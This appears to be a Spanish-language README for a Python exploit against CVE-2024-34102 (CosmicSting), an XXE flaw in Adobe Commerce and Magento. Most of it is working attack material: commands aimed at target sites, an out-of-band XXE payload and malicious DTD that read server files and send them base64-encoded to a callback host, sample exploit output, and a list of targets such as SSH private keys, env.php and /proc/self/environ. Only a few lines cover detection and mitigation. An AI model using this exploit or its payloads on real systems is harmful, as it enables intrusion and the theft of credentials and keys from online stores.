
Exploit para CVE-2024-34102 en python3
Exploit para CVE-2024-34102 (CosmicSting) - Vulnerabilidad de XXE (XML External Entity) en Adobe Commerce y Magento.
CVE-2024-34102 es una vulnerabilidad crítica de XXE (XML External Entity) que afecta a:
Esta vulnerabilidad permite a un atacante no autenticado:
Puntuación CVSS: 9.8 (Crítica)
Este exploit se basa en el trabajo original de:
# Clonar el repositorio
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102
# Instalar dependencias
pip install -r requirements.txt
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com
Terminal 1 - Servidor DTD:
sudo python3 server_dtd.py
Terminal 2 - Exploit:
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com \
--dtd-server YOUR-IP:8000
Terminal 1 - Servidor DTD:
sudo python3 server_dtd.py
Terminal 2 - Servidor de Callback (auto-decodifica):
sudo python3 callback_server.py
Terminal 3 - Exploit:
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c YOUR-CALLBACK-IP \
--dtd-server YOUR-DTD-IP:8000
-u, --url - URL objetivo (dominio base)-f, --file - Archivo a leer del servidor (ej., /etc/passwd)-c, --callback - Servidor de callback (IP/dominio)--dtd-server - Servidor personalizado para alojar el archivo DTD--https - Usar HTTPS para el callback (por defecto: HTTP)python3 exploit.py \
-u https://vulnerable-site.com \
-f /etc/passwd \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
python3 exploit.py \
-u https://vulnerable-site.com \
-f /var/www/html/app/etc/env.php \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
python3 exploit.py \
-u https://vulnerable-site.com \
-f /home/ubuntu/.ssh/id_rsa \
-c abc123.burpcollaborator.net \
--dtd-server 192.168.1.100:8000 \
--https
El exploit utiliza la técnica XXE Out-of-Band para exfiltrar datos:
<!-- Payload enviado al objetivo -->
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
El servidor objetivo descarga el DTD malicioso:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">
El servidor procesa el XML, lee el archivo, lo codifica en base64 y lo envía al callback:
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http
DTD will be dynamically generated with:
[*] Callback: http://abc123.oastify.com
[*] File: /etc/passwd
DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...
=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>
To decode the exfiltrated data:
[*] echo 'BASE64_STRING' | base64 -d
[!] Check your Burp Collaborator or Oastify dashboard now!
Detección:
/rest/V1/guest-carts/*/estimate-shipping-methods<!ENTITY>)Mitigación:
Archivos interesantes para probar:
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ
Este exploit se proporciona únicamente con fines educativos y de investigación de seguridad.
Usar este código para probar sistemas sin autorización explícita es ILEGAL.
Eres el ÚNICO responsable de tus acciones. Úsalo solo en:
✅ Tus propios entornos de prueba
✅ Programas de bug bounty autorizados
✅ Pruebas de penetración contratadas
NO lo uses en:
❌ Sistemas sin autorización
❌ Entornos de producción sin permiso
❌ Cualquier actividad maliciosa
El autor no es responsable del mal uso de este código.
⭐ Si este proyecto te fue útil, ¡considera darle una estrella!